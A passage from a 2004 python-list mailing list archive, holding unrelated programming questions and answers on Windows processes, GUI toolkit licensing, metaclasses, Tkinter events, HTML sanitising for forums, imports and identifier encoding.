Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346C9@tdi_nt9.internal.viacom-outdoor.co.uk>

>-----Original Message-----
>From: guy.flowers at Machineworks.com 
>[mailto:guy.flowers at Machineworks.com]
>Sent: 03 February 2004 11:53
>To: python-list at python.org
>Subject: Is a win32 process running using the pid.
>
>
>Hi, I created a function, which seems to work, quite well, it tells me
>if a process is running in widows using the pid number (I'm aware that
>the pid number in widows is not called a pid and this is really a unix
>thing but what the hell). The function keeps crashing (I've included
>the crash but I don't think it will do any good.), only sometimes,
>most of the time it works fine and I don't know why, Could any body
>suggest anything, maybe someone has a stable function that can do the
>below :
>

[... snip crash and function details ...]

Oh my goodness! Perhaps I've misunderstood, but if
all you want to do is see if a process with a particular
id is running, it's got to be easier than that. I would
have thought that something would be possible using
win32process, although nothing jumps out at me.

Certainly you can do it using WMI. A naive function
would look something like this:

<code>
import wmi
c = wmi.WMI ()

def is_this_process_running (id):
  return len (c.Win32_Process (ProcessId=id))
</code>

Something slightly more sophisticated could use
a WMI event. Something like this, perhaps:
http://tgolden.sc.sabren.com/python/wmi_cookbook.html#watch_notepad

Sorry if I've misunderstood your intention. Hope it helps.
TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________



From claird at lairds.com  Thu Feb 12 19:28:22 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 13 Feb 2004 00:28:22 -0000
Subject: python vs. perl
References: <20040212170911.22719.00001914@mb-m18.aol.com>
	<402BFAFA.70A476F5@engcorp.com>
Message-ID: <102o6h6s1nm6g23@corp.supernews.com>

In article <402BFAFA.70A476F5 at engcorp.com>,
Peter Hansen  <peter at engcorp.com> wrote:
>Patio87 wrote:
>> 
>>     Hi I was wondering which was better for doing stuff like, GUI
>programs, and
>> gaming, and maybe even network stuff for games? I know python and am learning
>> c++, but because of ease of use I want to know which is better,
>because I might
>> want to drop python and go to perl. Unless Im swayed to stay with
>> python......AM I missing out on anything by not knowing perl?
>
>Use Google to find what must be dozens of comparisons that have already been
>written on this topic.  Try keyword combinations like "python perl comparison"
>and you'll get more opinions than you're likely to want to read.
>
>-Peter

While both Perl and Python are indeed roughly comparable in many
ways, and both have active, even vibrant, developer communities,
it's particularly difficult to argue that Perl has significant
advantages in GUI construction or game scripting; those are two
notable domains where Python's lead is clear.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From philh at invalid.email.address  Sun Feb 22 17:50:15 2004
From: philh at invalid.email.address (phil hunt)
Date: Sun, 22 Feb 2004 22:50:15 +0000
Subject: [Announce] pyobfuscate
References: <mailman.64.1077030517.31398.python-list@python.org>
Message-ID: <slrnc3ich7.ag7.philh@cabalamat.cabalamat.org>

On Tue, 17 Feb 2004 16:08:33 +0100 (CET), Peter Astrand <peter at cendio.se> wrote:
>
>pyobfuscate - Python source code obfuscator
>===========================================
>
>pyobfuscate is a source code obfuscator: It makes Python source code
>hard to read for humans, while still being executable for the Python
>interpreter. 

Of course, this facility comes as standard with Perl.

-- 
"It's easier to find people online who openly support the KKK than 
people who openly support the RIAA" -- comment on Wikipedia
(Email: zen19725 at zen dot co dot uk)  




From djmitchell at spamfree.optushome.com.au  Sun Feb  8 21:53:54 2004
From: djmitchell at spamfree.optushome.com.au (David Mitchell)
Date: Mon, 09 Feb 2004 13:53:54 +1100
Subject: Writing Windows performance counters
Message-ID: <pan.2004.02.09.02.53.54.338788@spamfree.optushome.com.au>

Hello group,

I'm trying to write code to test an application we're developing.  This
application needs to store its own performance data in the registry, and
we'd like to be storing quite a large amount of performance data and
updating it fairly quickly.  Not surprisingly, we keep coming up with more
and more performance data we'd like to be writing to the registry.

My job is to come up with a test harness to establish the following:
- create X new Windows performance counters and update each of them every
Y milliseconds with some (random) value

I then need to try this for various values of X and Y, and note how the
performance of the overall application/system drops off as we increase X
and Y. We'll then draw a line in the sand and say "X and Y must be less
than these values", and go forward from there.

Could someone point me towards some sample code that creates performance
counters and updates them?  I suspect it's possible using perfmondata.dll
that comes with win32all, but can't begin to guess how to get started.

Thanks in advance

Dave M.


From simoninusa2001 at yahoo.co.uk  Wed Feb  4 12:54:14 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 4 Feb 2004 09:54:14 -0800
Subject: Qt/PyQt license confusion
Message-ID: <30260531.0402040954.68209983@posting.google.com>

OK, so I'm at the stage where I want to make a choice between wxPython
and PyQt.

Currently I'm using wxPython mainly due to the fact that it has GPL
Linux and Windows versions.

I prefer Qt to wxWindows, but am confused with all the Windows
licensing issues.

For the moment this is just for my own tinkering and utility apps, but
I wouldn't mind being able to distribute them too - freeware/GPL or
whatever, not commercially.

It seems there are numerous sources of a Windows license:

C++ GUI Programming with Qt 3 book (includes Qt 3.2 "book license",
32usd)

TheKompany's BlackAdder (comes with PyQt and Qt limited to Python
license - not C++, "personal use", 80usd)

PyQt license from Riverbank (250usd only supports Qt commercial, not
non-commercial or even evaluation!)

Qt Windows commercial license from Trolltech (1550usd or 2500usd for
Win+Lin)

So it's looking like BlackAdder is the best choice, although I'm still
not sure if that includes a PyQt license as BA is commercial, so is it
stupid enough to not include a commercial PyQt license?! And if it's
limited to "personal use" whatever that is, then surely it's not a
commercial license of either tool?

I don't know what kinda of license comes with the book - if it's not
commercial then PyQt won't support it anyway - maybe it's a kind of
education license?

I'm not paying 1550+250usd just to write Windows apps for myself, and
even if I bought a 250usd PyQt license, I'd still not be able to
evaluate Qt before paying the 1550usd!

So how does everyone else do it - you can't just be writing Linux apps
using PyQt - what's the point of a cross-platform GUI toolkit that you
can only afford to use on one platform?!

Also, can I even use py2exe or McMillan Installer to distribute
commercial versions of anything, as they are GPL tool IIRC...?


From wjj{nospam}eon at ece.gatech.edu  Fri Feb 27 03:00:31 2004
From: wjj{nospam}eon at ece.gatech.edu (Woojay Jeon)
Date: Fri, 27 Feb 2004 03:00:31 -0500
Subject: detecting the operating system
Message-ID: <c1mtcj$ofv$1@news-int.gatech.edu>

OK, I tried a Google search on this Usenet group but couldn't find a
solution, so I'm posting my question here (if there's a better archive than
the one in Google, please let me know).

Does anybody know how to detect the operating system under which the current
Python program is running, especially whether it's Windows or Unix? I have a
program that needs to search for files in "c:\test" if it's running under
Windows, and "/home/user/test" if it's running under Unix, so the simplest
solution I can think of is to detect the operating system, but if anyone
could suggest a workaround, that would also be fine.




From fuka at fuxoft.cz  Tue Feb 24 14:27:29 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Tue, 24 Feb 2004 20:27:29 +0100
Subject: [logging] problems in Python 2.3
In-Reply-To: <2e37dc1.0402231630.425ad3f2@posting.google.com>
References: <c15rkc$2ea5$1@ns.felk.cvut.cz>
	<2e37dc1.0402231630.425ad3f2@posting.google.com>
Message-ID: <c1g8hj$2rag$1@ns.felk.cvut.cz>

Vinay Sajip wrote:
> Frantisek Fuka <fuka at fuxoft.cz> wrote in message news:<c15rkc$2ea5$1 at ns.felk.cvut.cz>...
> 
>>I am using the standard "logging" module included with Python and it 
>>seems it doesn't correctly identify the filename (and thus module name) 
>>from where the logging method was called. In fact, no matter from which 
>>module I call the logging method, the resulting log says that the 
>>filename of the caller is:
>>
>>\tmp\python.2664\usr\lib\python2.3\logging\__init__.py
>>
>>(this seems to me like a reference to the logging module itself combined 
>>with some sort of weird temporary storage)
>>
>>This happens on my Windows98 machine both under Cygwin and under Windows 
>>Python (both of them 2.3). When I try the exact same script on the Linux 
>>server with Python 2.2 installed, it displays the filenames correctly.
> 
> 
> Strange that it happens the same under Windows. Why would it be
> looking for a Unix-like path such as the one you describe under
> Windows, when not using cygwin?
> 
> Are you using "import logging" rather than "from logging import *" in
> your script?

Yes, I am using "import logging". And there is nothing like 
"python.2664" in my cygwin "/tmp/" directory (and never was). My 
application is in completely different directory. Also note that the 
displayed filename has BACKSLASHES, not forward slashes.

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From jacek.generowicz at cern.ch  Fri Feb 27 04:04:31 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 27 Feb 2004 10:04:31 +0100
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
	<tyfy8qqkpfn.fsf@pcepsft001.cern.ch>
	<tyfu11ekp8v.fsf@pcepsft001.cern.ch>
	<cthy8qp7u8n.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <tyfoerkc2qo.fsf@pcepsft001.cern.ch>

Zunbeltz Izaola <zunbeltz at wm.lc.ehu.es.XXX> writes:

> Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> 
> Thank for the help.

I hope that it is what you were asking for.

Of course, my posting such a solution should in no way be interpreted
as a suggestion that it is appropriate to your _real_ problem. You may
well want a completely different approach, but I can't tell without
knowing more about your application.

> > __metaclass__ = type
> 
> I am not an expert and i don't understand very well things like 
> __metaclass__, but it not redundat this line? From the Language Reference
> 
> """
> __metaclass__
>     This variable can be any callable accepting arguments for name, bases,
>  and dict. Upon class creation, the callable is used instead of the 
> built-in type(). New in version 2.2. 
> """
> 
> so I think __metaclass__ = type is the same as not defining __metaclass__

It is indeed tempting to conclude that from what you have quoted.

One of the beauties of Python is its highly interactive nature, and
the ease with which you can try things out. Your hypothesis that
"__metaclass__ = type is the same as not defining __metaclass__" can
be refuted by the Python interpreter itself within about 10 seconds of
work. Take the code I sent, remove the binding of __metaclass__ and
run the code. You will find that Python replies:

  TypeError: a new-style class can't have only classic bases

As written in my example, ("class ModeA: pass" etc.) all the classes
are classic, because they do not inherit from object.

>>> class classic: pass
... 
>>> class newstyle(object): pass
... 
>>> type(classic)
<type 'class'>
>>> type(newstyle)
<type 'type'>

I want them to be new-style classes, because I am going to create new
classes which inherit from them, using type. This means of creating
classes creates new-style classes, and new style classes, as the error
message above suggests, "can't have only classic bases".

So, I could either make ModeA & co inherit from object, or I could
make all classes new-style ones by default, by binding __metaclass__
to type.

Alternatively, I could not use type to create the UserClasses, but
types.ClassType (types is a module). Alternatively I could use use
type(ModeA) which would pick the appropriate metaclass for creation of
your UserClasses depending on the situation.

> """
> __metaclass__
>     This variable can be any callable accepting arguments for name, bases,
>  and dict. Upon class creation, the callable is used instead of the 
> built-in type(). New in version 2.2. 
> """

Hmm. Is that a documentation bug? I suspect that it should read "
... instead of types.ClassType"


[ So, here's a classic class version of the original:

class ModeA: pass
class ModeB: pass
class TypeA: pass
class TypeB: pass
class TypeC: pass
class SubtypeA: pass
class SubtypeB: pass

collect_bases = [(Mode, Type, Subtype)
                 for Mode in [ModeA, ModeB]
                 for Type in [TypeA, TypeB, TypeC]
                 for Subtype in [SubtypeA, SubtypeB]]

count = 0
for bases in collect_bases:
    name = "UserClass%d" % count
    globals()[name] = type(ModeA)(name, bases, {})
    # or you could "import types" and do the following
    # globals()[name] = types.ClassType(name, bases, {})
    count += 1

]


From jcb at iteris.com  Sat Feb 21 23:13:01 2004
From: jcb at iteris.com (MetalOne)
Date: 21 Feb 2004 20:13:01 -0800
Subject: Is there an easier way to break a list into sub groups
Message-ID: <92c59a2c.0402212013.2e0fa89b@posting.google.com>

The following does what I want, but I feel like this could maybe be a
one liner.
I just can't think of anything shorter.
If there is nothing shorter, does this seem like a candidate for
inclusion in the standard library somewhere.

>>> def groups(l, n):
      """l is an input list.
         n is the size of the sub group
         returns a list of the sub groups
      """
...   i=0
...   g = []
...   while i < len(l):
...     g.append(l[i:i+n])  #append sub group to g
...     i+=n
...   return g
...
>>> l = [1,2,3,4,5,6]
>>> groups(l,2)
[[1, 2], [3, 4], [5, 6]]
>>> groups(l,3)
[[1, 2, 3], [4, 5, 6]]
>>> groups(l,4)
[[1, 2, 3, 4], [5, 6]]


From tcronj2spam at me.not.ananzi.coza  Sat Feb 28 06:20:45 2004
From: tcronj2spam at me.not.ananzi.coza (tcronj)
Date: Sat, 28 Feb 2004 13:20:45 +0200
Subject: Publish/Subscribe Lib for Python?
In-Reply-To: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
Message-ID: <BPCdnZf53eSF5d3dRVn-sA@is.co.za>

Adrian B. wrote:
> Does anyone know of a framework or library that will enable me to use
> publish/subscribe comms?  I want to create a server (using Python)
> running on a Unix box that will accept client connections (from GUIs
> built with wxPython) and publish realtime data updates to them.  Any
> advice on where to start?
> 
> Thanks.
> A.B.

http://ose.sourceforge.net/


From no at spam.invalid  Tue Feb 24 19:39:51 2004
From: no at spam.invalid (Russell E. Owen)
Date: Tue, 24 Feb 2004 16:39:51 -0800
Subject: Tkinter: Any way to flush events without blocking?
References: <c9d82136.0402241037.69be029a@posting.google.com>
Message-ID: <c1gqsr$o6g$1@nntp6.u.washington.edu>

In article <c9d82136.0402241037.69be029a at posting.google.com>,
 noah at noah.org (Noah) wrote:

>I have a long running application with a Tkinter GUI.
>Is there a way to see how many events are pending in the queue?
>I want my application to occasionally process events (so that the
>output window will update; the root window will refresh if
>the user moves it; etc.). 
>
>I tried using Tk.tk.dooneevent(), but it blocks if no events are
>available. What I thought of doing is calling a method that
>does something like this:
>        # event_queue_empty() does not exist
>        while not root.tk.event_queue_empty(): 
>                root.tk.dooneevent(0)

I think this is what you want:
tk_object.update_idletasks()

>The problem is that I'm calling an imported Python method 
>that runs for a long time. I can't easily retrofit it into an 
>event-oriented application.
...
>I suppose that my other option is to use a thread, but that
>seems overkill when all I want is a updated window.

update_idletasks() will do what you want.

But you might want to consider a thread anyway. This would be especially 
nice if there is any way to add code to the long-running task that would 
check to see if the user had aborted. In that case having a thread means 
you could implement a responsive "Cancel" button. As far as 
communicating from the thread to the main task, there are several 
options, including:

- Have the background thread write its output to a Queue and poll the 
Queue with an after() loop. This is dirt simple, though a bit 
inefficient.
- Have the background thread create an event. Bind a callback to that 
event. The callback will run in the main loop, so is safe for writing to 
Tk widgets. I read about this neat trick recently on this news group.

(Whatever you do, don't have the background thread try to write to Tk 
widgets or set Tk variables. But I assume you know that.)

-- Russell


From thoaan at stud.cs.uit.no  Wed Feb 25 05:31:57 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Wed, 25 Feb 2004 11:31:57 +0100
Subject: Locate python home
References: <c1ho3e$2g8h$1@news.uit.no>
	<c1hp3a$71e$1@swifty.westend.com><c1hqsb$2h4v$1@news.uit.no>
	<mailman.90.1077703253.8594.python-list@python.org>
Message-ID: <c1htmp$2ia4$1@news.uit.no>

> Never trust the assumption:
>
>  >>> import os
>  >>> os.path.isfile( os.path.join(os.path.dirname( sys.executable ),
> 'python.exe' ))
> False
>
> (This is from within Pythonwin, which has its executable elsewhere).
>
> It's a good idea to check and see if the file really does exist.  If it
> doesn't, either raise an error to tell the user to figure out what's
> wrong, or use the executable as given, (possibly checking/raising the
> error *only* if the executable is named pythonw and you can't find the
> python executable, though that would still have you running PythonWin in
> the above example (checking for "not named python" would be safer)).


What about using PYTHONHOME as environment variable. Is that appropriate?

Thomas




From cookedm+news at physics.mcmaster.ca  Wed Feb 11 17:42:53 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Wed, 11 Feb 2004 17:42:53 -0500
Subject: Simple allowing of HTML elements/attributes?
References: <ZYnWb.1600$h86.1207651@monger.newsread.com>
Message-ID: <qnklln9grv6.fsf@arbutus.physics.mcmaster.ca>

At some point, Leif K-Brooks <eurleif at ecritters.biz> wrote:

> I'm writing a site with mod_python which will have, among other
> things, forums. I want to allow users to use some HTML (<em>,
> <strong>, <p>, etc.) on the forums, but I don't want to allow bad
> elements and attributes (onclick, <script>, etc.). I would also like
> to do basic validation (no overlapping elements like
> <strong><em>foo</em></strong>, no missing end tags). I'm not asking
> anyone to write a script for me, but does anyone have general ideas
> about how to do this quickly on an active forum?

You could require valid XML, and use a validating XML parser to
check conformance. You'd have to make sure the output is correctly
quoted (for instance, check that HTML tags in a CDATA block get quoted).

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From db3l at fitlinxx.com  Thu Feb 19 19:59:35 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 19 Feb 2004 19:59:35 -0500
Subject: Python reading System/Application Event logs in Windows
References: <mailman.20.1077128864.27104.python-list@python.org>
Message-ID: <usmh68t1k.fsf@fitlinxx.com>

"Ellinghaus, Lance" <lance.ellinghaus at eds.com> writes:

> So.... Does anyone have a pointer on how to read the System and Application
> Event logs in the Windows environment from within Python?

Use the win32evtlog module from the pywin32 (previously win32all)
package.  There's an eventtLogDemo.py module in the demos directory
that provides some examples.

There's also the win32evtlogutil module which contains helper
functions such as FormatMessage for translating the event information
into an appropriate message (providing you have the message exe/DLL on
your system).

-- David


From graham__fawcett at hotmail.com  Wed Feb 11 23:41:49 2004
From: graham__fawcett at hotmail.com (Graham Fawcett)
Date: 11 Feb 2004 20:41:49 -0800
Subject: Import no longer works in Python 2.3.x
References: <w6wWb.1$MQ1.0@news-binary.blueyonder.co.uk>
Message-ID: <e9570f37.0402112041.1890c686@posting.google.com>

"Matt Whiteley" <matt at cynetix.co.uk> wrote in message news:<w6wWb.1$MQ1.0 at news-binary.blueyonder.co.uk>...
> I have some python code in a directory called customModules and this sits
> under the main directory which contains a piece of server.py code. Under
> 2.1.x and 2.2.x, I did the following in server.py :
> 
> import time, sys
> sys.path += ['./customModules']
> 
> from requestHandler import inputHandler
> 
> and that allowed me to reference the requestHandler (stored in the
> customModules directory) code without having to use
> customModules.requestHandler every time. Under 2.3.x this doesn't work
> anymore and I get a "ImportError: cannot import name inputHandler" error.
> Can anyone shed some light on why this is and how I can get around it
> please.

Unless there's something going on here that's not clear from your
example, you can just add an __init__.py to your customModules
directory, and then use

from customModules.requestHandler import inputHandler

Adding __init__.py creates a "pacakge" out of the subdirectory, and
obviates the sys.path manipulations. See the "Packages" section at
http://www.python.org/doc/current/tut/node8.html for more information.

-- Graham


From harry.g.george at boeing.com  Fri Feb  6 03:15:18 2004
From: harry.g.george at boeing.com (Harry George)
Date: Fri, 6 Feb 2004 08:15:18 GMT
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
	<IjHUb.32057$P17.24576@fed1read03>
Message-ID: <xqx7jz0d3op.fsf@cola2.ca.boeing.com>

"sean" <sean_berry at cox.net> writes:

[snip]
> 2)  No use of curly braces {} to group code.  This is by far my biggest
> problem with python.  I have, on more than one occasion, needed to put some
> code in a loop for testing purposes.  In java, c, perl, etc... you write
> your looping statement and throw a couple of braces around the code you want
> it to use.  In python, you write your looping statement... but then have to
> indent each line that will be looping.  After testing, all indents must then
> be deleted.
> 

When you say you must indent every line and then undent every
line....are you using an editor that knows how to do a block
shift-right and shift-left?  In emacs, you just grab the code with a
sweep of the mouse and hit "C-c >" or "C-c <".  I haven't timed it,
but it would be in the neighborhood of (and maybe faster) than
inserting and deleting curly braces.

[snip]
-- 
harry.g.george at boeing.com
6-6M31 Knowledge Management
Phone: (425) 342-5601


From peter at engcorp.com  Tue Feb 17 16:03:47 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 16:03:47 -0500
Subject: PEP218: Representing the empty set
References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
Message-ID: <403281B3.7E370347@engcorp.com>

Andrew McLean wrote:
> 
> Looking at PEP218 there is a discussion about the most appropriate way
> of representing the empty set. The two alternatives proposed are {} and
> {-}. I was wondering why either of these is needed. Why not just use
> set()?. It is only two more characters than {-} and a bit more explicit.
> 
> Similarly, I find myself initialising dictionaries with dict() rather
> than {}.
> 
> Am I missing something?

Maybe it's nothing more than this distinction:  dict() is a call which
*returns* an empty dictionary.  {} *is* an empty dictionary.  Likewise,
set() returns an empty set, which presumably {-} directly *is* an empty
set.

As someone not involved in the participation, I don't know how much
value my observation has, but to me it looks like a question of readability.
The direct representation flows better than the function call/constructor
approach...

-Peter


From peter at engcorp.com  Wed Feb 18 12:21:18 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 12:21:18 -0500
Subject: Creating Self Extracting Zip using Python
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
	<c0tdvf$rnt$1@news.hgc.com.hk> <40323853.1704B48@engcorp.com>
	<adednY5lv5NHR6_dRVn-vw@comcast.com>
Message-ID: <40339F0E.EB357502@engcorp.com>

DH wrote:
> 
> Peter Hansen wrote:
> 
> > Calvin FONG wrote:
> >
> >>By the way, what does HTH stands for?
> >
> >
> > Google is your friend, as usual. :-)
> >
> > http://www.google.ca/search?q=acronym+hth
> 
> TANSTASQ
> 
> I know people get their rocks off here patronizing newbies, but how
> about pointing them to the tutor list instead?

How would that have helped?  Does the "tutor list" have a service
for answering questions about what commonly used acronyms mean?
I wasn't aware of that...

By the way, "patronizing" has a primary meaning of "to act as a 
patron towards; to support; to aid", so I'll take your comment
as a compliment.  (And thank you!)

Also, having checked the meanings of "stupid" that I find on 
the web, I would have to say that there *are* stupid 
questions.  Stupid can be "very dull, insensible" and "resulting
from stupidity; formed without skill or genius".  I thought the 
question was more lazy or just indicating of inexperience than
stupid, though.

Calvin, is very likely neither stupid nor lazy, but just new, 
and he didn't think to use Google.  I gave a helpful pointer to 
it and, after a few more such incidents occur, he'll likely turn 
to it first in the future.  (I'm sure we all went through periods 
where we didn't think of Google first for such things.  I know 
mine lasted several years!)

Lastly, why not try helping newbies or others from time to time
yourself, instead of simply criticizing those who do?

-Peter


From ptmcg at austin.stopthespam_rr.com  Thu Feb 26 21:09:06 2004
From: ptmcg at austin.stopthespam_rr.com (Paul McGuire)
Date: Fri, 27 Feb 2004 02:09:06 GMT
Subject: Internet-scale distributed computing?
References: <mailman.182.1077835454.8594.python-list@python.org>
Message-ID: <6Fx%b.5099$qo.4792@fe1.texas.rr.com>

>     1. Are there other active projects similar to SETI at Home or
Folding at Home?
>
Here are some other projects: (found at
http://setiathome.ssl.berkeley.edu/links.html#link_other_proj)

PiHex: A Distributed Project to Calculate Pi. Calculate the five trillionth
and forty trillionth bits of Pi.
Distributed.net. Crack encryption schemes.
GIMPS: The Great Internet Mersenne Prime Search. Find prime numbers of the
form 2^p-1.
PVM/POV-Ray Compute ray-traced images.
Golem at Home. Evolve robotic life forms.





From kawNOSPAMenks at nospamyahoo.ca  Wed Feb  4 14:35:52 2004
From: kawNOSPAMenks at nospamyahoo.ca (allanc)
Date: Wed, 04 Feb 2004 19:35:52 GMT
Subject: Line Text Parsing
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
Message-ID: <Xns948575A2C930Aacuencacanadacom@198.161.157.145>

I'm new with python so bear with me.

I'm looking for a way to elegantly parse fixed-width text data (as opposed 
to CSV) and saving the parsed data unto a database. The text data comes 
from an old ISAM-format table and each line may be a different record 
structure depending on key fields in the line.

RegExp with match and split are of interest but it's been too long since 
I've dabbled with RE to be able to judge whether its use will make the 
problem more complex.

Here's a sample of the records I need to parse:

01508390019002      11284361000002SUGARPLUM
015083915549           SHORT ON LAST ORDER 
0150839220692 000002EA BMC   15 KG   001400

1st Line is a (portion of) header record.
2nd Line is an text instruction record.
3rd Line is a Transaction Line Item record.

Each type of record has a different structure. But these set of lines 
appear in the one table.


Any ideas would be greatly appreciated.

Allan


From gnurpreet at softhome.net  Mon Feb 23 01:42:15 2004
From: gnurpreet at softhome.net (gnurpreet at softhome.net)
Date: Sun, 22 Feb 2004 23:42:15 -0700
Subject: [commercial]python zope expertise required
Message-ID: <courier.4039A0C7.00007C99@softhome.net>

Software architect for Python/Zope/Plone development.
Innovative (free/open source) software company in Rome, Italy, develops
software for international political organizations. Proven and multi-year
experience, management skills a plus. Relocation to Rome preferred, but also
remote consulting and mixed are considered. Competitive compensation.
jobs-mgmt at partecs.com 

Programmer for Python/Zope/Plone development.
Innovative (free/open source) software company in Rome, Italy, develops
software for international political organizations. Proven and multi-year
experience, management skills a plus. Relocation to Rome preferred, but also
remote consulting and mixed will be considered. Competitive compensation.
jobs-tech at partecs.com 


 ------------------------------------
GNUrpreet Singh
Pre Sales Consultant
ParTecs - Participatory Technologies
www.partecs.com



From jcarlson at nospam.uci.edu  Mon Feb 16 14:10:33 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 16 Feb 2004 11:10:33 -0800
Subject: Hashability of classes, old and new
In-Reply-To: <mailman.46.1076941274.31398.python-list@python.org>
References: <mailman.46.1076941274.31398.python-list@python.org>
Message-ID: <c0r4nv$3gj$1@news.service.uci.edu>

> So, despite c1 equals c2, they create two different entries in a
> dictionary.  I thought that this is such an inconsistency that was the
> reason behind requiring an explicit `__hash__' for old-style classes.
> So, it seems I was not thinking right, there is something which escapes
> my understanding.  Would some kind soul help mine? :-)

When two objects have different hashes, they are not required to be 
compared when inserted into a dictionary.  They may be compared, if two 
hashes drop the objects into the same bin.

  - Josiah


From james at logicalprogression.net  Tue Feb  3 12:34:44 2004
From: james at logicalprogression.net (James Henderson)
Date: Tue, 3 Feb 2004 17:34:44 +0000
Subject: pyc files
In-Reply-To: <69d3be0f3471ddb46f07af86e9e12ddf@news.meganetnews.com>
References: <69d3be0f3471ddb46f07af86e9e12ddf@news.meganetnews.com>
Message-ID: <200402031734.44488.james@logicalprogression.net>

On Tuesday 03 February 2004 4:59 pm, Ladv?szky K?oly wrote:
> What are pyc files?
>
> Thanks,
>
> K?oly

A bytecode representation of a module.  See the FAQs:

http://www.python.org/doc/faq/general.html#can-python-be-compiled-to-machine-code-c-or-some-other-language

-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From timr at probo.com  Thu Feb 12 02:26:15 2004
From: timr at probo.com (Tim Roberts)
Date: Wed, 11 Feb 2004 23:26:15 -0800
Subject: Simple newbie question about parameters handling in functions
	(or am I dump or what?)
References: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
Message-ID: <v4am20dcssa28460bmaqf1dhce9vggki6j@4ax.com>

Niki Iv <niki_iv at abv.bg> wrote:
>
>Well this is my first Python day. I am tampering with functions. I
>read that parameters are passed by-value rather than by-reference. So
>function can change wathever parameters reffers to. My troube (well my
>presonal not understanding comes from this)

There were several responses to your post that pointed to articles that
will explain the technical details, but I decided to point out exactly
where your assumption goes wrong.

>MyList = ["Line 1","Line 2","Line 3"]
>print MyList
>ChangleList(MyList)
>print MyList

You need to separate the notion of "an object" from the notion of "a name".
Here, you create a list object that contains three strings.  You have a
name called MyList that is bound to that list.  When you call ChangeList,
you are passing that three-element list object to the function.

>(1)def ChangeList(ListToChange):
>(2)	ListToChange[1] = "Line B"
>(3)	ListToChange = ["Line X","Line Y","Line Z"]
>(4)	ListToChange[2] = "Line C"

At line (1), the local name ListToChange will be bound to the same
three-element list that is bound to MyList.  Both names are bound to the
same list.  Line (2) alters the second element of that list.

In line (3), however, you create a brand new list object with three string
elements, and bind that object to the name "ListToChange".  There are now
two separate three-element list objects, and this function no longer has
any link to the list that is bound to the global MyList.  In line (4),
then, we alter the third element of this new list.  MyList remains
unchanged.  The function ends without doing anything with ListToChange, so
the new list (which contains ["Line X","Line Y","Line C"]) will be deleted
during garbage collection.

>Result is unexpected
>["Line 1","Line 2","Line 3"]
>["Line 1","Line B","Line 3"]
>
>The last line in function is to change where ListToChange[2] reffers
>to.. but string is the same..
>Frankly I was expecting that ListToChange will change it's second
>(zero base) element... but it does not.

Sure, it does!  Print ListToChange at the end of your function, and you'll
see that.  However, ListToChange at that point is bound to a brand-new
list, so altering it has no global effect.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From joe at notcharles.ca  Thu Feb 12 04:40:13 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 12 Feb 2004 09:40:13 GMT
Subject: Allowing non-ASCII identifiers
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
	<4027EAC5.2090603@prescod.net> <402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com> <4029177e$1@nntp0.pdx.net>
	<mailman.0.1076542666.698.python-list@python.org>
	<c0f8h6$8e4$01$1@news.t-online.com>
Message-ID: <slrnc2mgue.chs.joe@gate.notcharles.ca>

In article <c0f8h6$8e4$01$1 at news.t-online.com>, Martin v. L?wis wrote:
> It is the case that some people would have problems invoking certain
> functions. Why would that be a catastrophy?

Oh, it wouldn't be.  Not being catastrophic doesn't make it good.

> Authors of Python software should make a choice whether they prefer
> readability of the source code, or accessibility to everyone.

Yeah, they should, but they won't.  They'll go nuts with the cool
features and not stop to think about the consequences.  Those of us
stuck cleaning up after them will then be hindered by the cool features
that don't work.  History has shown us this.

If non-ASCII characters are allowed, they'll be used frivolously.
Somebody will put "et tu, Brut?" in a comment, or start their career
planning package with "import resum?", and these otherwise working
programs would break for people without Unicode support.

> Python should not police that decision for the developer.

Why not?  It polices everything else.  Isn't Python still the "only one
way to do it" language?

If you were suggesting this for Perl or Ruby, I'd be all in favour (in fact,
it'd be especially apropriate for Ruby).  But in Python it's perfectly
appropriate to restrict something that many people would find useful in
favour of simplicity and consistency.

Joe


From cookedm+news at physics.mcmaster.ca  Mon Feb  2 17:07:52 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Mon, 02 Feb 2004 17:07:52 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1131.1075733260.12720.python-list@python.org>
